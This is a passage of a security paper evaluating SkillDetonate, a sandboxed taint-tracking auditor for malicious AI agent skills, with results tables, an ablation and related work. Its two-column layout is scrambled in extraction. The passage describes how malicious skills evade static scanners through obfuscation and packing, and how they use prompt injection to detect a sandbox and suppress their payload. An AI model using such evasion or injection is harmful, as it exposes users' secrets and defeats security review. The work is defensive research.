3) Information-Flow Policies: S KILL D ETONATE turns the observed FUSE and eBPF events into findings with two configuration-driven policies: • Confidentiality. Configured sensitive files are taint sources, and their data must not flow to external endpoints that are absent from the trusted egress allowlist. A marked secret that reaches a non-allowlisted network sink is reported as a confidentiality finding. • Integrity. A skill is treated as a low-integrity component. After the agent reads the skill, skill-driven writes may only target allowlisted directories, such as the skill’s own root or trusted installation paths. A binary that the skill installs, downloads, or executes from an untrusted source is likewise reported as an integrity violation. S KILL D ETONATE runs an unmodified agent (reference adapter: opencode+DeepSeek, swappable in one Dockerfile block) in a Docker sandbox with eBPF pinned to the container PID namespace; egress connects directly (taint binds to edges, so a TLS-interception proxy is unnecessary). All trust knobs, including the sensitive-file set, integrity and egress allowlists, and agent adapter, are configuration. V. E VALUATION We evaluate S KILL D ETONATE by answering the following research questions (RQs). • RQ3 Effectiveness: How effectively does S KILL D ETONATE detect malicious skills across original and payload-preserving evasion variants? • RQ4 Ablation Study: What contribution does each key mechanism in S KILL D ETONATE make? A. RQ3: Effectiveness

RQ3 aims to evaluate whether S KILL D ETONATE detects malicious behavior and remains robust to the cloaks that defeat • Inode-level syscall graph. From the raw static auditing. read/write/execve stream captured by eBPF Dataset and Setup. Detection and false-positive rates are (a Linux kernel facility that runs sandboxed programs only as trustworthy as their ground truth, so we evaluate on kernel events such as syscalls, without modifying on executable, verified skills rather than the IOC-labeled the kernel or the monitored process), S KILL D ETONATE OpenClaw dataset of Section III-C, whose labels are noisy and rebuilds a cross-process graph whose nodes are inodes partly circular [19], [34], [12]. We use two sources. Benchmark: and processes. A process that reads a tainted inode taints the synthetic SkillJect [18] (excluding out-of-scope socialevery inode it later writes, so taint follows graph edges engineering attacks); applying Structural Obfuscation and SFS rather than bytes, and base64, gzip, and encryption are Packing yields 600 skills (450 malicious, 150 benign). Wild: covered transparently. MalSkillBench [19] (703 wild malicious skills), from which • In-process values. Value-level taint we keep the 622 whose payload has an executable ground truth (TaintStr/TaintBytes) covers encode-then-send reproducible in a single Linux sandbox (a syscall-observable, behavior within one process. self-contained, Linux-runnable effect); the excluded skills fail • LLM context. The agent sees only #dataN , never for engineering reasons, so this bounds our recall from below. the secret, so any value it later emits that mentions Baselines are Cisco (the most-starred scanner and Structural the marker must have come from the sensitive read and Obfuscation’s tuning target) and a Naive Agent (the same cannot be laundered through the natural-language context. opencode+DeepSeek stack prompted “is this malicious?”). This marker-based indirection turns the otherwise nonBenchmark Evaluation. On SkillJect, S KILL D ETONATE instrumentable LLM context into a taint-trackable medium detects 95% of attacks (never below 89% across forms) at a 2% without requiring traditional in-context taint analysis. false-positive rate, versus 45%/11% for Cisco and 56%/14% Figure 5 illustrates these planes cooperating on a concrete for the Naive Agent (Table V). What matters is flatness: exfiltration example. Cisco collapses under S KILL C LOAK (64% → 5% Structural

TABLE V: Results of S KILL D ETONATE against baselines on the SkillJect and Wild Skills benchmarks. Ori/Obf/Pack denote the original skill and its Structural Obfuscation / SFS Packing variants, and Vuln Mask an independent evasion baseline [32]. SkillJect Malicious ↑ Detector

Ori

Obf

Pack

Cisco (static) 64.0% 5.3% 24% Naive Agent 55.3% 52.0% 78.7% S KILL D ETONATE 98.0% 96.7% 95.3%

Vuln Mask

Avg

84.7% 38.0% 89.3%

44.5% 56.0% 94.8%

65

Payload not triggered

Ori

Cloak form (detected) Ori (87.6%) Obf (83.8%) Pack (90.5%)

2

Runtime 0 timeout 2 20

40

60

Missed malicious skills

Obf

Pack

SkillJect Benign ↓ Avg

98.6% 10.1% 9.6% 39.4% 84.1% 79.4% 56.6% 73.4% 87.6% 83.8% 90.5% 87.3%

90

48 10 11 9

Environment dependency

0

Wild Skills ↑

80

Ori Obf Pack

Overhead

Avg

2% 2% 30% 11.3% 0% 4% 38% 14.0% 2% 4% 0% 2.0%

Tok

Time

5.6K 21s 2.6K 38s 14.1K 153s

TABLE VI: Results of the S KILL D ETONATE ablation on the SkillJect benchmark. Ori/Obf/Pack denote the original skill and its Structural Obfuscation / SFS Packing variants. Detect. ↑ (Mal)

FP ↓ (Benign)

Variant

Ori

Obf

Pack

Avg

Ori

Obf

Pack

Avg

S KILL D ETONATE

98.0 96.7 99.3 92.0 98.0 96.0

95.3 96.0 30.0

96.7 2.0 95.8 20.0 74.7 2.0

4.0 18.0 0.0

0.0 10.0 0.0

2.0 16.0 0.7

100 −taint

−closure lift

Fig. 6: Root cause of missing in-the-wild malicious skills. Answer to RQ3: S KILL D ETONATE detects 96.7% of SkillJect attacks at a 2% false-positive rate and 87.3% of executable wild Obfuscation, → 24% SFS Packing) while S KILL D ETONATE is attacks. Its detection remains stable across original, obfuscated, unmoved. Both baselines also spike in false positives on cloaked and packed skills, showing that behavior-centric auditing is robust benign skills (Cisco 30%, Naive Agent 38% on SFS Packing), to S KILL C LOAK’s cloaks. where a decoder looks malicious, whereas S KILL D ETONATE stays at 0% since a benign decoder emits no violating syscall. Crucially, S KILL D ETONATE also detects 89.3% of VulMask B. RQ4: Ablation Study attacks, an independent evasion it was not designed against, RQ4 aims to evaluate how much S KILL D ETONATE’s two showing its robustness is not tailored to S KILL C LOAK. Its cost key mechanisms contribute. (∼14.1K tokens, ∼153 s/skill vs. Cisco’s ∼21 s) is acceptable Setup. Table VI removes the two novelties of Section IV-B for an offline, once-per-skill install gate. one at a time, reporting detection and false-positive rates on In the Wild Skill Evaluation. The same signal holds in the SkillJect: wild: S KILL D ETONATE detects 87.3% of attacks on average 1) The −taint variant drops the data-marker analysis and (87.6%/83.8%/90.5% across the three forms) and stays flat judges on the bare sink; and under S KILL C LOAK, whereas Cisco collapses from 98.6% to 2) The −closure lift variant disables on-demand lifting, so 10.1% under Structural Obfuscation and the Naive Agent deinstruction files the skill generates into its own closure grades on SFS Packing. This confirms that S KILL D ETONATE’s are never read back. robustness also holds on malicious skills in the wild. Failure Analysis. The gap between the wild 87% and the Result. Each variant isolates a different guarantee. Removing controlled 97% is itself informative. We classify every missed taint barely moves malicious detection (96.7% → 95.8% avg) malicious skill by root cause (Figure 6): but inflates the benign false-positive rate 8× (2.0% → 16.0%): without information flow, a benign skill that merely touches • Path coverage. Most misses are cases where the agent reads the malicious instruction but does not execute it, so a sensitive file or a network socket is indistinguishable from the payload never fires and leaves no behavior to observe one that exfiltrates. Removing closure lift leaves Ori/Obf intact but collapses Pack detection by 65 pp (95.3% → 30.0%), (Section VI). since multi-stage SFS Packing hides its real SKILL.md behind • Environment dependency. A wild skill’s sink is often gated on a live endpoint, an API key, or a provisioned exactly the decode-then-lift step this variant omits. The two account we do not stand up. A dead exfiltration host or are complementary: taint buys false-positive control, closure lift buys multi-stage coverage, and neither substitutes for the absent resource makes the skill silently no-op. other. • Runtime timeouts. The small remainder exceeded our 900 s per-skill timeout setting. This is a resource constraint Answer to RQ4: S KILL D ETONATE’s two mechanisms are both of our evaluation harness. load-bearing. Marker-based taint mainly controls false positives by requiring evidence of sensitive-to-untrusted flow, while closure The first cause is a limitation of natural language itself, while lift is necessary to detect packed and multi-stage skills whose the other two are engineering constraints of our harness; none instructions materialize only at runtime. is a flaw in S KILL D ETONATE’s design.

The remaining gap is therefore not whether byte-level cloaks can fool the detector, but whether the sandboxed execution can reliably drive the malicious path and supply the environment it expects. We discuss these coverage and deployment limits next. VI. D ISCUSSION

the cost of breaking self-updating skills and leaving Structural Obfuscation—the more structural attack—fully intact. Refusing to install skills that ship opaque/high-entropy blobs in blindspot directories raises SFS Packing’s cost but over-blocks legitimate binary assets. Neither closes the coverage gap, which is precisely why dynamic execution auditing is the load-bearing defense and static scanning the cheap pre-filter.

A. Natural-Language Coverage Gap. The coverage gap of Section V-A is the deepest open problem, and it is the dominant wild-miss cause (Figure 6): a payload gated behind a natural-language directive the agent does not follow—a “fetch and run” step, or a branch it judges false. S KILL D ETONATE executes the skill as a victim agent would, so whatever the agent declines to do is never exercised, and prompt injection or model refusal can likewise suppress a path we want taken. This is a path-coverage limit, not a detector one: every behavior the agent does take is reliably observed and judged. A promising direction is a dedicated, fine-tuned “force-execution agent” that reliably drives every natural-language branch, analogous to forced execution for binaries, which would convert the trace-relative guarantee into something closer to whole-skill coverage. More broadly, the malware community resolved the analogous crisis with shared instrumented sandboxes (Cuckoo-style, offering faked network services, canary credentials, and reproducible images), and agent-skill security will need its counterpart: a standardized agent execution environment.

VII. R ELATED W ORK

The work most directly related to ours (malicious agent skills, install-time skill scanners, and their matching mechanisms) is surveyed in Section II. Here we situate the paper within two broader bodies of research: the security of LLM agents, and the classical study of malware attack and defense. LLM Agent Security. Agents that act on untrusted content are vulnerable to indirect prompt injection, where data smuggles instructions that the model executes with the user’s authority [40], [41], motivating behavior-grounded benchmarks for measuring such attacks [42]. The defensive response spans policy enforcement at the model or tool-call layer [43], [44], [45], control/data separation [46], information-flow screening over agent data [47], [48], and OS-level confinement of per-app actions [49]; recent systematizations taxonomize and stresstest these IPI-centric defenses [50] and recast the problem as privilege escalation governed by mandatory access control [51]. A recurring weakness is that LLM-based guards are themselves deceivable by injection and adaptive prompts [52], [53], [54], [55]. Our skills setting inherits these threats, but adds a supplyB. Anti-Sandbox Skill Malware. chain twist: the adversary controls the bundle shipped before This is the skill-level counterpart of anti-sandbox malware installation, so trust must be decided statically yet the payload in binary analysis, where a sample detects the analysis only surfaces at runtime. environment and suppresses or alters its payload [35], [36], Malware Attack & Defense. The cloaking we exploit and and which the malware community partially mitigates with the runtime tracking we deploy both have deep roots in forced execution, steering binaries through branches that would malware research. Static detection is fundamentally limited: otherwise require missing inputs or a different environment [37]. perfect detection is undecidable [38], [56], [39], opaque Skills inherit the problem, but the natural-language layer makes constants and metamorphism defeat static analyzers [57], it worse: a malicious skill can ask the agent to reason about [31], and functionality-preserving evasion of ML classifiers whether it is sandboxed and branch accordingly, or use prompt is routine [58], [59]. The standard answer is dynamic analinjection to override the sandbox’s execution request and make ysis: source-to-sink taint at instruction, binary, and wholethe agent stop, defer, or sanitize the malicious path. This mirrors system granularity [60], [61], [62], [63], with TaintDroid the classical undecidability of perfect malware detection [38], tracking untrusted third-party code on a deployed platform [64] [39]: no dynamic harness can guarantee that every adversarially and Schwartz et al. supplying the formal semantics [65], gated behavior has been observed, so the goal is to mitigate, alongside syscall-sequence intrusion detection [66], [67], [68]. not solve. It is the dual of the natural-language coverage gap Dynamic analysis in turn faces environment-sensitive and (there the agent fails to reach a malicious branch; here the skill anti-analysis malware [35], [36], [37]. S KILL C LOAK ports steers it away), and similar mitigations apply: force-execution payload-preserving obfuscation to the skill medium, while agents, diversified and more realistic sandbox environments, S KILL D ETONATE ports syscall-and-filesystem taint beneath an mocked external services, and repeated runs with varied natural- unmodified agent runtime, so the static evasions above translate but the dynamic defense follows them to where the behavior language execution prompts. actually executes. C. Takeaways for Static Scanners. VIII. C ONCLUSION Our results are not an argument to abandon static scanning but to relegate it to hygiene, not a trust gate. Two concrete hardenings follow from the observations. A post-install treeintegrity check (record a content hash at scan time, re-verify before each run) closes the SFS Packing corollary, but at

Agent skills have made install-time trust a supply-chain problem, and the ecosystem answers with static scanners. Using S KILL C LOAK, we show on 1,613 in-the-wild malicious skills that these scanners are systematically evadable by

payload-preserving transforms, so the field must move from inspecting bytes to observing behavior. Following this insight, our behavior-centric auditor S KILL D ETONATE detects 97% of attacks in a controlled benchmark and 87% on wild skills while staying robust to S KILL C LOAK, showing that runtime behavioral auditing is the load-bearing defense for agent skills.

[24] V. P. Bhardwaj, “SkillFortify: Formal capability verification for agent skills,” https://github.com/qualixar/skillfortify, 2026. [25] M. Pors, “skill-audit,” https://github.com/pors/skill-audit, 2026. [26] HeadyZhang, “agent-audit,” https://github.com/HeadyZhang/agent-audit, 2026. [27] G. Patidar, “Skillscanner,” https://github.com/patidarganesh/SkillScanner, 2026. [28] Alice IO, “caterpillar,” https://github.com/alice-dot-io/caterpillar, 2026. [29] Cisco AI Defense, “Cisco AI defense skill scanner,” https://github.com/ R EFERENCES cisco-ai-defense/skill-scanner, 2026. [1] C. E. Jimenez, J. Yang, A. Wettig, S. Yao, K. Pei, O. Press, and [30] T. Roccia, “nova-proximity,” https://github.com/fr0gger/proximity, 2026. K. Narasimhan, “SWE-bench: Can language models resolve real-world [31] J.-M. Borello and L. Mé, “Code obfuscation techniques for metamorphic github issues?” in International Conference on Learning Representations viruses,” Journal in Computer Virology, vol. 4, no. 3, pp. 211–220, 2008. (ICLR), 2024. [32] Y.-T. Lin and C.-M. Yu, “PhantomSkill: Malicious code injection in [2] A. K. Zhang et al., “Cybench: A framework for evaluating cybersecurity agent skill ecosystems,” arXiv preprint arXiv:2606.19191, 2026. capabilities and risks of language models,” in International Conference [33] X. Li et al., “SkillsBench: Benchmarking how well agent skills work on Learning Representations (ICLR), 2025. across diverse tasks,” arXiv preprint arXiv:2602.12670, 2026. [3] J. Mao, Y. Qian, J. Ye, H. Zhao, and Y. Wang, “GPT-Driver: Learning [34] M. Ohm, H. Plate, A. Sykosch, and M. Meier, “Backstabber’s knife to drive with GPT,” arXiv preprint arXiv:2310.01415, 2023. collection: A review of open source software supply chain attacks,” [4] Anthropic, “Claude Code,” https://code.claude.com/, 2026. in Detection of Intrusions and Malware, and Vulnerability Assessment [5] OpenAI, “Codex: AI coding partner from OpenAI,” https://openai.com/ (DIMVA), 2020. codex/, 2026. [6] Anthropic, “Introducing agent skills,” https://www.anthropic.com/news/ [35] M. Lindorfer, C. Kolbitsch, and P. M. Comparetti, “Detecting environment-sensitive malware,” in International Symposium on Recent skills, 2025. Advances in Intrusion Detection (RAID), 2011. [7] MarketsandMarkets, “AI agents market report 2025–2030, by application, geo, tech,” https://www.marketsandmarkets.com/Market-Reports/ [36] D. Kirat, G. Vigna, and C. Kruegel, “BareCloud: Bare-metal analysisbased evasive malware detection,” in USENIX Security Symposium, 2014, ai-agents-market-15761548.html, 2025, report code TC 9264. Accessed pp. 287–301. 2026. [8] G. Ling, S. Zhong, and R. Huang, “Agent skills: A data-driven analysis [37] F. Peng, Z. Deng, X. Zhang, D. Xu, Z. Lin, and Z. Su, “X-Force: Forceexecuting binary programs for security applications,” in USENIX Security of claude skills for extending large language model functionality,” arXiv Symposium, 2014, pp. 829–844. preprint arXiv:2602.08004, 2026. [38] F. Cohen, “Computer viruses: Theory and experiments,” Computers & [9] Koi Security, “ClawHavoc: 341 malicious Clawed skills found Security, vol. 6, no. 1, pp. 22–35, 1987. by the bot they were targeting,” https://www.koi.ai/blog/ [39] M. Christodorescu, S. Jha, S. A. Seshia, D. Song, and R. E. Bryant, clawhavoc-341-malicious-clawedbot-skills-found-by-the-bot-they-were-targeting, “Semantics-aware malware detection,” in IEEE Symposium on Security 2026, accessed 2026. and Privacy (S&P), 2005. [10] Z. Chen and Y. Zhang, “How your credentials are leaked by LLM agent skills: An empirical study,” arXiv preprint arXiv:2604.03070, 2026. [40] K. Greshake, S. Abdelnabi, S. Mishra, C. Endres, T. Holz, and M. Fritz, [11] Snyk Security Labs, “Snyk finds prompt injection in 36%, 1467 malicious “Not what you’ve signed up for: Compromising real-world LLMpayloads in a ToxicSkills study of agent skills supply chain compromise,” integrated applications with indirect prompt injection,” in Proceedings of https://snyk.io/blog/toxicskills-malicious-ai-agent-skills-clawhub/, 2026. the 16th ACM Workshop on Artificial Intelligence and Security (AISec), [12] Y. Liu and W. Wang, “Agent skills in the wild: An empirical study of 2023. security vulnerabilities at scale,” arXiv preprint arXiv:2601.10338, 2026. [41] Q. Zhan, Z. Liang, Z. Ying, and D. Kang, “InjecAgent: Benchmarking [13] Y. Liu, Z. Chen, Y. Zhang, G. Deng, Y. Li, J. Ning, and L. Y. Zhang, indirect prompt injections in tool-integrated large language model agents,” ““do not mention this to the user”: Detecting and understanding malicious in Findings of the Association for Computational Linguistics (ACL), agent skills in the wild,” arXiv preprint arXiv:2602.06547, 2026. 2024. [14] Y. Hou, Z. Yang, Z. Pang, and X. Ma, “SkillSieve: A hierarchical [42] E. Debenedetti, J. Zhang, M. Balunović, L. Beurer-Kellner, M. Fischer, triage framework for detecting malicious AI agent skills,” arXiv preprint and F. Tramèr, “AgentDojo: A dynamic environment to evaluate prompt arXiv:2604.06550, 2026. injection attacks and defenses for LLM agents,” in Advances in Neural [15] İ. A. Turgut and E. Gümüş, “CASCADE: A cascaded hybrid defense Information Processing Systems (NeurIPS) Datasets and Benchmarks architecture for prompt-injection detection in MCP-based systems,” arXiv Track, 2024. preprint arXiv:2604.17125, 2026. [43] T. Shi et al., “Progent: Securing AI agents with privilege control,” arXiv [16] S. Wang and J. He, “"elementary, my dear watson." detecting malicious preprint arXiv:2504.11703, 2025. skills via neuro-symbolic reasoning across heterogeneous artifacts,” arXiv [44] H. Wang, C. M. Poskitt, and J. Sun, “AgentSpec: Customizable runtime preprint arXiv:2603.27204, 2026. enforcement for safe and reliable LLM agents,” in Proceedings of the [17] OpenClaw, “GitHub – openclaw/skills: All versions of all skills that are 48th International Conference on Software Engineering (ICSE), 2026. on clawhub.com archived · GitHub,” https://github.com/openclaw/skills, [45] L. Tsai et al., “Contextual agent security: A policy for every purpose,” 2026, public archive of all skills published to ClawHub, including in Workshop on Hot Topics in Operating Systems (HotOS), 2025. malicious skills removed from the live marketplace. Archived snapshot: https://web.archive.org/web/20260406111320/https://github.com/ [46] E. Debenedetti, I. Shumailov, T. Fan, J. Hayes, N. Carlini, D. Fabian, C. Kern, C. Shi, A. Terzis, and F. Tramèr, “Defeating prompt injections openclaw/skills. by design,” arXiv preprint arXiv:2503.18813, 2025. [18] X. Jia, J. Liao, S. Qin, J. Gu, W. Ren, X. Cao, Y. Liu, and P. Torr, “SkillJect: Effectively automating skill-based prompt injection for skill- [47] P. Zhong et al., “RTBAS: Defending LLM agents against prompt injection and privacy leakage,” arXiv preprint arXiv:2502.08966, 2025. enabled agents,” arXiv preprint arXiv:2602.14211, 2026. [19] W. Guo, W. Zeng, C. Liu, X. Jia, Y. Xu, L. Tang, Y. Fang, and Y. Liu, [48] M. Costa, B. Köpf et al., “Securing AI agents with information-flow control,” arXiv preprint arXiv:2505.23643, 2025. “MalSkillBench: A runtime-verified benchmark of malicious agent skills,” [49] Y. Wu, F. Roesner, T. Kohno, N. Zhang, and U. Iqbal, “IsolateGPT: arXiv preprint arXiv:2606.07131, 2026. An execution isolation architecture for LLM-based agentic systems,” in [20] D. Schmotz, L. Beurer-Kellner, S. Abdelnabi, and M. Andriushchenko, Network and Distributed System Security Symposium (NDSS), 2025. “Skill-Inject: Measuring agent vulnerability to skill file attacks,” arXiv [50] Z. Ji, X. Wang, Z. Li, P. Ma, Y. Gao, D. Wu, X. Yan, T. Tian, and preprint arXiv:2602.20156, 2026. S. Wang, “Taxonomy, evaluation and exploitation of IPI-centric LLM [21] Y. Qu and Y. Liu, “Supply-chain poisoning attacks against LLM coding agent defense frameworks,” arXiv preprint arXiv:2511.15203, 2025. agent skill ecosystems,” arXiv preprint arXiv:2604.03081, 2026. [22] HuiFer, “skill-security-scan,” https://github.com/huifer/skill-security-scan, [51] Z. Ji, D. Wu, W. Jiang, P. Ma, Z. Li, Y. Gao, S. Wang, and Y. Li, “Taming 2026. various privilege escalation in LLM-based agent systems: A mandatory [23] Vigile.dev, “vigile-scan,” https://github.com/Vigile-ai/vigile-scan, 2026. access control framework,” arXiv preprint arXiv:2601.11893, 2026.

[52] J. Shi, Z. Yuan, Y. Liu, Y. Huang, P. Zhou, L. Sun, and N. Z. Gong, “Optimization-based prompt injection attack to LLM-as-a-judge,” in Proceedings of the ACM SIGSAC Conference on Computer and Communications Security (CCS), 2024. [53] V. Raina, A. Liusie, and M. Gales, “Is LLM-as-a-judge robust? investigating universal adversarial attacks on zero-shot LLM assessment,” in Proceedings of the Conference on Empirical Methods in Natural Language Processing (EMNLP), 2024. [54] M. Nasr, N. Carlini et al., “The attacker moves second: Stronger adaptive attacks bypass defenses against LLM jailbreaks and prompt injections,” arXiv preprint arXiv:2510.09023, 2025. [55] W. Hackett et al., “Bypassing LLM guardrails: An empirical analysis of evasion attacks against prompt injection and jailbreak detection systems,” in ACL Workshop on Large Language Model Security (LLMSEC), 2025. [56] D. M. Chess and S. R. White, “An undetectable computer virus,” in Proceedings of the Virus Bulletin Conference, 2000. [57] A. Moser, C. Kruegel, and E. Kirda, “Limits of static analysis for malware detection,” in 23rd Annual Computer Security Applications Conference (ACSAC), 2007. [58] H. S. Anderson, A. Kharkar, B. Filar, D. Evans, and P. Roth, “Learning to evade static PE machine learning malware models via reinforcement learning,” arXiv preprint arXiv:1801.08917, 2018. [59] F. Pierazzi, F. Pendlebury, J. Cortellazzi, and L. Cavallaro, “Intriguing properties of adversarial ML attacks in the problem space,” in IEEE Symposium on Security and Privacy (S&P), 2020. [60] J. Newsome and D. Song, “Dynamic taint analysis for automatic detection, analysis, and signature generation of exploits on commodity software,” in Network and Distributed System Security Symposium (NDSS), 2005. [61] J. Clause, W. Li, and A. Orso, “Dytan: A generic dynamic taint analysis framework,” in International Symposium on Software Testing and Analysis (ISSTA), 2007. [62] V. P. Kemerlis, G. Portokalidis, K. Jee, and A. D. Keromytis, “libdft: Practical dynamic data flow tracking for commodity systems,” in ACM SIGPLAN/SIGOPS International Conference on Virtual Execution Environments (VEE), 2012. [63] H. Yin, D. Song, M. Egele, C. Kruegel, and E. Kirda, “Panorama: Capturing system-wide information flow for malware detection and analysis,” in ACM Conference on Computer and Communications Security (CCS), 2007. [64] W. Enck, P. Gilbert, B.-G. Chun, L. P. Cox, J. Jung, P. McDaniel, and A. N. Sheth, “TaintDroid: An information-flow tracking system for realtime privacy monitoring on smartphones,” in USENIX Symposium on Operating Systems Design and Implementation (OSDI), 2010. [65] E. J. Schwartz, T. Avgerinos, and D. Brumley, “All you ever wanted to know about dynamic taint analysis and forward symbolic execution (but might have been afraid to ask),” in IEEE Symposium on Security and Privacy (S&P), 2010. [66] S. Forrest, S. A. Hofmeyr, A. Somayaji, and T. A. Longstaff, “A sense of self for unix processes,” in IEEE Symposium on Security and Privacy (S&P), 1996. [67] S. A. Hofmeyr, S. Forrest, and A. Somayaji, “Intrusion detection using sequences of system calls,” Journal of Computer Security, vol. 6, no. 3, pp. 151–180, 1998. [68] R. Sekar et al., “eAudit: A fast, scalable and deployable audit data collection system,” in IEEE Symposium on Security and Privacy (S&P), 2024.